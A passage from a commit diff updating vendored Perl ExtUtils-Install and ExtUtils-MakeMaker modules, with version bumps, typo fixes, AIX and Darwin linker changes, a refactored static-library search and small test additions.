 
-    _mkpath($autodir,0,0755);
+    _mkpath($autodir,0,0755) if defined $autodir;
     while(my($from, $to) = each %$fromto) {
         if( -f $to && -s $from == -s $to && -M $to < -M $from ) {
             print "Skip $to (unchanged)\n" unless $INSTALL_QUIET;
@@ -1195,7 +1214,7 @@
         my $need_filtering = defined $pm_filter && length $pm_filter &&
                              $from =~ /\.pm$/;
 
-        if (!$need_filtering && 0 == compare($from,$to)) {
+        if (!$need_filtering && 0 == _compare($from,$to)) {
             print "Skip $to (unchanged)\n" unless $INSTALL_QUIET;
             next;
         }
@@ -1213,10 +1232,10 @@
             print "cp $from $to\n" unless $INSTALL_QUIET;
         }
         my($mode,$atime,$mtime) = (stat $from)[2,8,9];
-        utime($atime,$mtime+$Is_VMS,$to);
+        utime($atime,$mtime+Is_VMS,$to);
         _chmod(0444 | ( $mode & 0111 ? 0111 : 0 ),$to);
         next unless $from =~ /\.pm$/;
-        _autosplit($to,$autodir);
+        _autosplit($to,$autodir) if defined $autodir;
     }
 }
 
@@ -1234,7 +1253,8 @@
 =cut
 
 sub _autosplit { #XXX OS-SPECIFIC
-    my $retval = autosplit(@_);
+    require AutoSplit;
+    my $retval = AutoSplit::autosplit(@_);
     close *AutoSplit::IN if defined *AutoSplit::IN{IO};
 
     return $retval;
@@ -1265,7 +1285,7 @@
         $plural = $i>1 ? "all those files" : "this file";
         my $inst = (_invokant() eq 'ExtUtils::MakeMaker')
                  ? ( $Config::Config{make} || 'make' ).' install'
-                     . ( $Is_VMS ? '/MACRO="UNINST"=1' : ' UNINST=1' )
+                     . ( ExtUtils::Install::Is_VMS ? '/MACRO="UNINST"=1' : ' UNINST=1' )
                  : './Build install uninst=1';
         print "## Running '$inst' will unlink $plural for you.\n";
     }

Modified: vendor/perl/dist/cpan/ExtUtils-Install/lib/ExtUtils/Installed.pm
===================================================================
--- vendor/perl/dist/cpan/ExtUtils-Install/lib/ExtUtils/Installed.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/ExtUtils-Install/lib/ExtUtils/Installed.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -17,7 +17,7 @@
 require VMS::Filespec if $Is_VMS;
 
 use vars qw($VERSION);
-$VERSION = '2.04';
+$VERSION = '2.14';
 $VERSION = eval $VERSION;
 
 sub _is_prefix {

Modified: vendor/perl/dist/cpan/ExtUtils-Install/lib/ExtUtils/Packlist.pm
===================================================================
--- vendor/perl/dist/cpan/ExtUtils-Install/lib/ExtUtils/Packlist.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/ExtUtils-Install/lib/ExtUtils/Packlist.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,7 +5,7 @@
 use Carp qw();
 use Config;
 use vars qw($VERSION $Relocations);
-$VERSION = '2.04';
+$VERSION = '2.14';
 $VERSION = eval $VERSION;
 
 # Used for generating filehandle globs.  IO::File might not be available!

Modified: vendor/perl/dist/cpan/ExtUtils-Install/t/Install.t
===================================================================
--- vendor/perl/dist/cpan/ExtUtils-Install/t/Install.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/ExtUtils-Install/t/Install.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -12,7 +12,7 @@
 use File::Spec;
 use File::Temp qw[tempdir];
 
-use Test::More tests => 60;
+use Test::More tests => 62;
 
 use MakeMaker::Test::Setup::BFD;
 
@@ -269,3 +269,15 @@
     ok(compare("$bigdir/Dummy.pm", "$bigdir/DummyOrig.pm"),
         "orig file should be different");
 }
+
+pm_to_blib( { 'lib/Dummy/Split.pm' => 'blib/lib/Dummy/Split.pm' },
+            'blib/lib/auto'
+          );
+
+ok( -r 'blib/lib/auto/Dummy/Split/split.al',
+  'pm_to_blib does autosplit on appropriate files',
+);
+eval {
+  pm_to_blib( { 'lib/Dummy/Split.pm' => 'blib/lib/Dummy/Split.pm' } );
+};
+is $@, '', 'pm_to_blib with no autodir works';

Modified: vendor/perl/dist/cpan/ExtUtils-Install/t/InstallWithMM.t
===================================================================
--- vendor/perl/dist/cpan/ExtUtils-Install/t/InstallWithMM.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/ExtUtils-Install/t/InstallWithMM.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -56,7 +56,7 @@
     ok( chdir('Big-Dummy'), "chdir'd to Big-Dummy" ) ||
       diag("chdir failed: $!");
 
-    my @mpl_out = run(qq{$perl Makefile.PL "PREFIX=../dummy-install"});
+    my @mpl_out = run(qq{"$perl" Makefile.PL "PREFIX=../dummy-install"});
     END { rmtree '../dummy-install'; }
 
     cmp_ok( $?, '==', 0, 'Makefile.PL exited with zero' ) ||

Modified: vendor/perl/dist/cpan/ExtUtils-Install/t/Installed.t
===================================================================
--- vendor/perl/dist/cpan/ExtUtils-Install/t/Installed.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/ExtUtils-Install/t/Installed.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -109,6 +109,9 @@
 
     # should find $fake_mod_dir via '.' in @INC
 
+    local @INC = @INC;
+    push @INC, '.' if not $INC[-1] eq '.';
+
     my $realei = ExtUtils::Installed->new();
     isa_ok( $realei, 'ExtUtils::Installed' );
     isa_ok( $realei->{Perl}{packlist}, 'ExtUtils::Packlist' );

Modified: vendor/perl/dist/cpan/ExtUtils-Install/t/lib/MakeMaker/Test/Setup/BFD.pm
===================================================================
--- vendor/perl/dist/cpan/ExtUtils-Install/t/lib/MakeMaker/Test/Setup/BFD.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/ExtUtils-Install/t/lib/MakeMaker/Test/Setup/BFD.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -90,6 +90,18 @@
 }
 END
 
+             'Big-Dummy/lib/Dummy/Split.pm'     => <<'END',
+package Dummy::Split;
+$VERSION = 0.02;
+use AutoLoader 'AUTOLOAD';
+
+__END__
+
+sub split { print "split\n"; }
+
+1;
+END
+
             );
 
 

Modified: vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Command/MM.pm
===================================================================
--- vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Command/MM.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Command/MM.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -10,7 +10,7 @@
 
 our @EXPORT  = qw(test_harness pod2man perllocal_install uninstall
                   warn_if_old_packlist test_s cp_nonempty);
-our $VERSION = '7.24';
+our $VERSION = '7.34';
 $VERSION = eval $VERSION;
 
 my $Is_VMS = $^O eq 'VMS';
@@ -205,7 +205,7 @@
     installed into      which directory your module was out into
     LINKTYPE            dynamic or static linking
     VERSION             module version number
-    EXE_FILES           any executables installed in a space seperated
+    EXE_FILES           any executables installed in a space separated
                         list
 
 =cut
@@ -219,7 +219,8 @@
                            : @ARGV;
 
     my $pod;
-    $pod = sprintf <<'POD', scalar(localtime), $type, $name, $name;
+    my $time = gmtime($ENV{SOURCE_DATE_EPOCH} || time);
+    $pod = sprintf <<'POD', scalar($time), $type, $name, $name;
  =head2 %s: C<%s> L<%s|%s>
 
  =over 4

Modified: vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Command.pm
===================================================================
--- vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Command.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Command.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -7,7 +7,7 @@
 @ISA       = qw(Exporter);
 @EXPORT    = qw(cp rm_f rm_rf mv cat eqtime mkpath touch test_f test_d chmod
                 dos2unix);
-$VERSION = '7.24';
+$VERSION = '7.34';
 $VERSION = eval $VERSION;
 
 my $Is_VMS   = $^O eq 'VMS';

Modified: vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Liblist/Kid.pm
===================================================================
--- vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Liblist/Kid.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Liblist/Kid.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -11,7 +11,7 @@
 
 use strict;
 use warnings;
-our $VERSION = '7.24';
+our $VERSION = '7.34';
 $VERSION = eval $VERSION;
 
 use ExtUtils::MakeMaker::Config;
@@ -57,6 +57,12 @@
     my ( $pwd )   = cwd();    # from Cwd.pm
     my ( $found ) = 0;
 
+    if ( $^O eq 'darwin' or $^O eq 'next' )  {
+        # 'escape' Mach-O ld -framework and -F flags, so they aren't dropped later on
+        $potential_libs =~ s/(^|\s)(-(?:weak_|reexport_|lazy_)?framework)\s+(\S+)/$1-Wl,$2 -Wl,$3/g;
+        $potential_libs =~ s/(^|\s)(-F)\s*(\S+)/$1-Wl,$2 -Wl,$3/g;
+    }
+
     foreach my $thislib ( split ' ', $potential_libs ) {
         my ( $custom_name ) = '';
 

Modified: vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Liblist.pm
===================================================================
--- vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Liblist.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Liblist.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,7 +2,7 @@
 
 use strict;
 
-our $VERSION = '7.24';
+our $VERSION = '7.34';
 $VERSION = eval $VERSION;
 
 use File::Spec;

Modified: vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM.pm
===================================================================
--- vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
 use strict;
 use ExtUtils::MakeMaker::Config;
 
-our $VERSION = '7.24';
+our $VERSION = '7.34';
 $VERSION = eval $VERSION;
 
 require ExtUtils::Liblist;

Modified: vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_AIX.pm
===================================================================
--- vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_AIX.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_AIX.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,9 +1,10 @@
 package ExtUtils::MM_AIX;
 
 use strict;
-our $VERSION = '7.24';
+our $VERSION = '7.34';
 $VERSION = eval $VERSION;
 
+use ExtUtils::MakeMaker::Config;
 require ExtUtils::MM_Unix;
 our @ISA = qw(ExtUtils::MM_Unix);
 
@@ -34,13 +35,7 @@
 sub dlsyms {
     my($self,%attribs) = @_;
     return '' unless $self->needs_linking;
-    my @m;
-    # these will need XSMULTI-fying but maybe that already happens
-    push @m,"\ndynamic :: $self->{BASEEXT}.exp\n\n"
-      unless $self->{SKIPHASH}{'dynamic'}; # dynamic and static are subs, so...
-    push @m,"\nstatic :: $self->{BASEEXT}.exp\n\n"
-      unless $self->{SKIPHASH}{'static'};  # we avoid a warning if we tick them
-    join "\n", @m, $self->xs_dlsyms_iterator(\%attribs);
+    join "\n", $self->xs_dlsyms_iterator(\%attribs);
 }
 
 =head3 xs_dlsyms_ext
@@ -53,6 +48,21 @@
     '.exp';
 }
 
+sub xs_dlsyms_arg {
+    my($self, $file) = @_;
+    return qq{-bE:${file}};
+}
+
+sub init_others {
+    my $self = shift;
+    $self->SUPER::init_others;
+    # perl "hints" add -bE:$(BASEEXT).exp to LDDLFLAGS. strip that out
+    # so right value can be added by xs_make_dynamic_lib to work for XSMULTI
+    $self->{LDDLFLAGS} ||= $Config{lddlflags};
+    $self->{LDDLFLAGS} =~ s#(\s*)\S*\Q$(BASEEXT)\E\S*(\s*)#$1$2#;
+    return;
+}
+
 =head1 AUTHOR
 
 Michael G Schwern <schwern at pobox.com> with code from ExtUtils::MM_Unix

Modified: vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Any.pm
===================================================================
--- vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Any.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Any.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +1,7 @@
 package ExtUtils::MM_Any;
 
 use strict;
-our $VERSION = '7.24';
+our $VERSION = '7.34';
 $VERSION = eval $VERSION;
 
 use Carp;
@@ -910,6 +910,17 @@
 }
 
 
+=head3 xs_dlsyms_arg
+
+Returns command-line arg(s) to linker for file listing dlsyms to export.
+Defaults to returning empty string, can be overridden by e.g. AIX.
+
+=cut
+
+sub xs_dlsyms_arg {
+    return '';
+}
+
 =head3 xs_dlsyms_ext
 
 Returns file-extension for C<xs_make_dlsyms> method's output file,
@@ -1318,8 +1329,10 @@
     # needs to be based on the original version
     my $v1_add = _metaspec_version($meta_add) !~ /^2/;
 
+    my ($add_v, $merge_v) = map _metaspec_version($_), $meta_add, $meta_merge;
     for my $frag ($meta_add, $meta_merge) {
-        $frag = CPAN::Meta::Converter->new($frag, default_version => "1.4")->upgrade_fragment;
+        my $def_v = $frag == $meta_add ? $merge_v : $add_v;
+        $frag = CPAN::Meta::Converter->new($frag, default_version => $def_v)->upgrade_fragment;
     }
 
     # if we upgraded a 1.x _ADD fragment, we gave it a prereqs key that
@@ -2886,13 +2899,20 @@
 want to include this file in the library.  Otherwise it returns the
 the $path unchanged.
 
-Mainly used to exclude version control administrative directories from
-installation.
+Mainly used to exclude version control administrative directories
+and base-level F<README.pod> from installation.
 
 =cut
 
 sub libscan {
     my($self,$path) = @_;
+
+    if ($path =~ m<^README\.pod$>i) {
+        warn "WARNING: Older versions of ExtUtils::MakeMaker may errantly install $path as part of this distribution. It is recommended to avoid using this path in CPAN modules.\n"
+          unless $ENV{PERL_CORE};
+        return '';
+    }
+
     my($dirs,$file) = ($self->splitpath($path))[1,2];
     return '' if grep /^(?:RCS|CVS|SCCS|\.svn|_darcs)$/,
                      $self->splitdir($dirs), $file;

Modified: vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_BeOS.pm
===================================================================
--- vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_BeOS.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_BeOS.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -26,7 +26,7 @@
 require ExtUtils::MM_Unix;
 
 our @ISA = qw( ExtUtils::MM_Any ExtUtils::MM_Unix );
-our $VERSION = '7.24';
+our $VERSION = '7.34';
 $VERSION = eval $VERSION;
 
 

Modified: vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Cygwin.pm
===================================================================
--- vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Cygwin.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Cygwin.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -9,7 +9,7 @@
 require ExtUtils::MM_Win32;
 our @ISA = qw( ExtUtils::MM_Unix );
 
-our $VERSION = '7.24';
+our $VERSION = '7.34';
 $VERSION = eval $VERSION;
 
 

Modified: vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_DOS.pm
===================================================================
--- vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_DOS.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_DOS.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,7 +2,7 @@
 
 use strict;
 
-our $VERSION = '7.24';
+our $VERSION = '7.34';
 $VERSION = eval $VERSION;
 
 require ExtUtils::MM_Any;
@@ -51,6 +51,14 @@
     return $man;
 }
 
+=item xs_static_lib_is_xs
+
+=cut
+
+sub xs_static_lib_is_xs {
+    return 1;
+}
+
 =back
 
 =head1 AUTHOR

Modified: vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Darwin.pm
===================================================================
--- vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Darwin.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Darwin.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -7,7 +7,7 @@
     our @ISA = qw( ExtUtils::MM_Unix );
 }
 
-our $VERSION = '7.24';
+our $VERSION = '7.34';
 $VERSION = eval $VERSION;
 
 
@@ -24,7 +24,7 @@
 See L<ExtUtils::MM_Unix> for L<ExtUtils::MM_Any> for documentation on the
 methods overridden here.
 
-=head2 Overriden Methods
+=head2 Overridden Methods
 
 =head3 init_dist
 

Modified: vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_MacOS.pm
===================================================================
--- vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_MacOS.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_MacOS.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,7 +2,7 @@
 
 use strict;
 
-our $VERSION = '7.24';
+our $VERSION = '7.34';
 $VERSION = eval $VERSION;
 
 sub new {

Modified: vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_NW5.pm
===================================================================
--- vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_NW5.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_NW5.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -22,7 +22,7 @@
 use ExtUtils::MakeMaker::Config;
 use File::Basename;
 
-our $VERSION = '7.24';
+our $VERSION = '7.34';
 $VERSION = eval $VERSION;
 
 require ExtUtils::MM_Win32;
@@ -137,6 +137,14 @@
                                   : '-type library -o $@ ' . $src));
 }
 
+=item xs_static_lib_is_xs
+
+=cut
+
+sub xs_static_lib_is_xs {
+    return 1;
+}
+
 =item dynamic_lib
 
 Override of utility methods for OS-specific work.

Modified: vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_OS2.pm
===================================================================
--- vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_OS2.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_OS2.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,7 +5,7 @@
 use ExtUtils::MakeMaker qw(neatvalue);
 use File::Spec;
 
-our $VERSION = '7.24';
+our $VERSION = '7.34';
 $VERSION = eval $VERSION;
 
 require ExtUtils::MM_Any;
@@ -131,6 +131,14 @@
     return('OS/2');
 }
 
+=item xs_static_lib_is_xs
+
+=cut
+
+sub xs_static_lib_is_xs {
+    return 1;
+}
+
 =back
 
 =cut

Modified: vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_QNX.pm
===================================================================
--- vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_QNX.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_QNX.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +1,7 @@
 package ExtUtils::MM_QNX;
 
 use strict;
-our $VERSION = '7.24';
+our $VERSION = '7.34';
 $VERSION = eval $VERSION;
 
 require ExtUtils::MM_Unix;

Modified: vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_UWIN.pm
===================================================================
--- vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_UWIN.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_UWIN.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +1,7 @@
 package ExtUtils::MM_UWIN;
 
 use strict;
-our $VERSION = '7.24';
+our $VERSION = '7.34';
 $VERSION = eval $VERSION;
 
 require ExtUtils::MM_Unix;

Modified: vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Unix.pm
===================================================================
--- vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Unix.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Unix.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -14,7 +14,7 @@
 
 # If we make $VERSION an our variable parse_version() breaks
 use vars qw($VERSION);
-$VERSION = '7.24';
+$VERSION = '7.34';
 $VERSION = eval $VERSION;  ## no critic [BuiltinFunctions::ProhibitStringyEval]
 
 require ExtUtils::MM_Any;
@@ -932,6 +932,7 @@
     return '' unless $self->has_link_code;
     my @m = $self->xs_dynamic_lib_macros(\%attribs);
     my @libs;
+    my $dlsyms_ext = eval { $self->xs_dlsyms_ext };
     if ($self->{XSMULTI}) {
         my @exts = $self->_xs_list_basenames;
         for my $ext (@exts) {
@@ -952,10 +953,14 @@
             my $ldfrom = $self->_xsbuild_value('xs', $ext, 'LDFROM');
             $ldfrom = $objfile unless defined $ldfrom;
             my $exportlist = "$ext.def";
-            push @libs, [ $objfile, $instfile, $instdir, $ldfrom, $exportlist ];
+            my @libchunk = ($objfile, $instfile, $instdir, $ldfrom, $exportlist);
+            push @libchunk, $dlsyms_ext ? $ext.$dlsyms_ext : undef;
+            push @libs, \@libchunk;
         }
     } else {
-        @libs = ([ qw($(OBJECT) $(INST_DYNAMIC) $(INST_ARCHAUTODIR) $(LDFROM) $(EXPORT_LIST)) ]);
+        my @libchunk = qw($(OBJECT) $(INST_DYNAMIC) $(INST_ARCHAUTODIR) $(LDFROM) $(EXPORT_LIST));
+        push @libchunk, $dlsyms_ext ? '$(BASEEXT)'.$dlsyms_ext : undef;
+        @libs = (\@libchunk);
     }
     push @m, map { $self->xs_make_dynamic_lib(\%attribs, @$_); } @libs;
 
@@ -999,10 +1004,11 @@
 =cut
 
 sub xs_make_dynamic_lib {
-    my ($self, $attribs, $object, $to, $todir, $ldfrom, $exportlist) = @_;
+    my ($self, $attribs, $object, $to, $todir, $ldfrom, $exportlist, $dlsyms) = @_;
     $exportlist = '' if $exportlist ne '$(EXPORT_LIST)';
     my $armaybe = $self->_xs_armaybe($attribs);
-    my @m = sprintf '%s : %s $(MYEXTLIB) %s$(DFSEP).exists %s $(PERL_ARCHIVEDEP) $(PERL_ARCHIVE_AFTER) $(INST_DYNAMIC_DEP)'."\n", $to, $object, $todir, $exportlist;
+    my @m = sprintf '%s : %s $(MYEXTLIB) %s$(DFSEP).exists %s $(PERL_ARCHIVEDEP) $(PERL_ARCHIVE_AFTER) $(INST_DYNAMIC_DEP) %s'."\n", $to, $object, $todir, $exportlist, ($dlsyms || '');
+    my $dlsyms_arg = $self->xs_dlsyms_arg($dlsyms);
     if ($armaybe ne ':'){
         $ldfrom = 'tmp$(LIB_EXT)';
         push(@m,"	\$(ARMAYBE) cr $ldfrom $object\n");
@@ -1043,8 +1049,8 @@
         $ld_run_path_shell = 'LD_RUN_PATH="$(LD_RUN_PATH)" ';
     }
 
-    push @m, sprintf <<'MAKE', $ld_run_path_shell, $ldrun, $ldfrom, $self->xs_obj_opt('$@'), $libs, $exportlist;
-	%s$(LD) %s $(LDDLFLAGS) %s $(OTHERLDFLAGS) %s $(MYEXTLIB) \
+    push @m, sprintf <<'MAKE', $ld_run_path_shell, $ldrun, $dlsyms_arg, $ldfrom, $self->xs_obj_opt('$@'), $libs, $exportlist;
+	%s$(LD) %s $(LDDLFLAGS) %s %s $(OTHERLDFLAGS) %s $(MYEXTLIB) \
 	  $(PERL_ARCHIVE) %s $(PERL_ARCHIVE_AFTER) %s \
 	  $(INST_DYNAMIC_FIX)
 	$(CHMOD) $(PERM_RWX) $@
@@ -2524,68 +2530,13 @@
     $linkcmd =~ s,(perl\.exp),\$(PERL_INC)/$1,;
 
     # Which *.a files could we make use of...
-    my %static;
-    require File::Find;
-    # don't use File::Spec here because on Win32 F::F still uses "/"
-    my $installed_version = join('/',
-	'auto', $self->{FULLEXT}, "$self->{BASEEXT}$self->{LIB_EXT}"
-    );
-    File::Find::find(sub {
-	return unless m/\Q$self->{LIB_EXT}\E$/;
-
-        # Skip perl's libraries.
-        return if m/^libperl/ or m/^perl\Q$self->{LIB_EXT}\E$/;
-
-	# Skip purified versions of libraries
-        # (e.g., DynaLoader_pure_p1_c0_032.a)
-	return if m/_pure_\w+_\w+_\w+\.\w+$/ and -f "$File::Find::dir/.pure";
-
-	if( exists $self->{INCLUDE_EXT} ){
-		my $found = 0;
-
-		(my $xx = $File::Find::name) =~ s,.*?/auto/,,s;
-		$xx =~ s,/?$_,,;
-		$xx =~ s,/,::,g;
-
-		# Throw away anything not explicitly marked for inclusion.
-		# DynaLoader is implied.
-		foreach my $incl ((@{$self->{INCLUDE_EXT}},'DynaLoader')){
-			if( $xx eq $incl ){
-				$found++;
-				last;
-			}
-		}
-		return unless $found;
-	}
-	elsif( exists $self->{EXCLUDE_EXT} ){
-		(my $xx = $File::Find::name) =~ s,.*?/auto/,,s;
-		$xx =~ s,/?$_,,;
-		$xx =~ s,/,::,g;
-
-		# Throw away anything explicitly marked for exclusion
-		foreach my $excl (@{$self->{EXCLUDE_EXT}}){
-			return if( $xx eq $excl );
-		}
-	}
-
-	# don't include the installed version of this extension. I
-	# leave this line here, although it is not necessary anymore:
-	# I patched minimod.PL instead, so that Miniperl.pm won't
-	# include duplicates
-
-	# Once the patch to minimod.PL is in the distribution, I can
-	# drop it
-	return if $File::Find::name =~ m:\Q$installed_version\E\z:;
-	use Cwd 'cwd';
-	$static{cwd() . "/" . $_}++;
-    }, grep( -d $_, @{$searchdirs || []}) );
-
+    my $staticlib21 = $self->_find_static_libs($searchdirs);
     # We trust that what has been handed in as argument, will be buildable
     $static = [] unless $static;
-    @static{@{$static}} = (1) x @{$static};
+    @$staticlib21{@{$static}} = (1) x @{$static};
 
     $extra = [] unless $extra && ref $extra eq 'ARRAY';
-    for (sort keys %static) {
+    for (sort keys %$staticlib21) {
 	next unless /\Q$self->{LIB_EXT}\E\z/;
 	$_ = dirname($_) . "/extralibs.ld";
 	push @$extra, $_;
@@ -2599,7 +2550,7 @@
 # MAP_STATIC doesn't look into subdirs yet. Once "all" is made and we
 # regenerate the Makefiles, MAP_STATIC and the dependencies for
 # extralibs.all are computed correctly
-    my @map_static = reverse sort keys %static;
+    my @map_static = reverse sort keys %$staticlib21;
     push @m, "
 MAP_LINKCMD   = $linkcmd
 MAP_STATIC    = ", join(" \\\n\t", map { qq{"$_"} } @map_static), "
@@ -2711,6 +2662,92 @@
     join '', @m;
 }
 
+# utility method
+sub _find_static_libs {
+    my ($self, $searchdirs) = @_;
+    # don't use File::Spec here because on Win32 F::F still uses "/"
+    my $installed_version = join('/',
+	'auto', $self->{FULLEXT}, "$self->{BASEEXT}$self->{LIB_EXT}"
+    );
+    my %staticlib21;
+    require File::Find;
+    File::Find::find(sub {
+	if ($File::Find::name =~ m{/auto/share\z}) {
+	    # in a subdir of auto/share, prune because e.g.
+	    # Alien::pkgconfig uses File::ShareDir to put .a files
+	    # there. do not want
+	    $File::Find::prune = 1;
+	    return;
+	}
+
+	return unless m/\Q$self->{LIB_EXT}\E$/;
+
+	return unless -f 'extralibs.ld'; # this checks is a "proper" XS installation
+
+        # Skip perl's libraries.
+        return if m/^libperl/ or m/^perl\Q$self->{LIB_EXT}\E$/;
+
+	# Skip purified versions of libraries
+        # (e.g., DynaLoader_pure_p1_c0_032.a)
+	return if m/_pure_\w+_\w+_\w+\.\w+$/ and -f "$File::Find::dir/.pure";
+
+	if( exists $self->{INCLUDE_EXT} ){
+		my $found = 0;
+
+		(my $xx = $File::Find::name) =~ s,.*?/auto/,,s;
+		$xx =~ s,/?$_,,;
+		$xx =~ s,/,::,g;
+
+		# Throw away anything not explicitly marked for inclusion.
+		# DynaLoader is implied.
+		foreach my $incl ((@{$self->{INCLUDE_EXT}},'DynaLoader')){
+			if( $xx eq $incl ){
+				$found++;
+				last;
+			}
+		}
+		return unless $found;
+	}
+	elsif( exists $self->{EXCLUDE_EXT} ){
+		(my $xx = $File::Find::name) =~ s,.*?/auto/,,s;
+		$xx =~ s,/?$_,,;
+		$xx =~ s,/,::,g;
+
+		# Throw away anything explicitly marked for exclusion
+		foreach my $excl (@{$self->{EXCLUDE_EXT}}){
+			return if( $xx eq $excl );
+		}
+	}
+
+	# don't include the installed version of this extension. I
+	# leave this line here, although it is not necessary anymore:
+	# I patched minimod.PL instead, so that Miniperl.pm won't
+	# include duplicates
+
+	# Once the patch to minimod.PL is in the distribution, I can
+	# drop it
+	return if $File::Find::name =~ m:\Q$installed_version\E\z:;
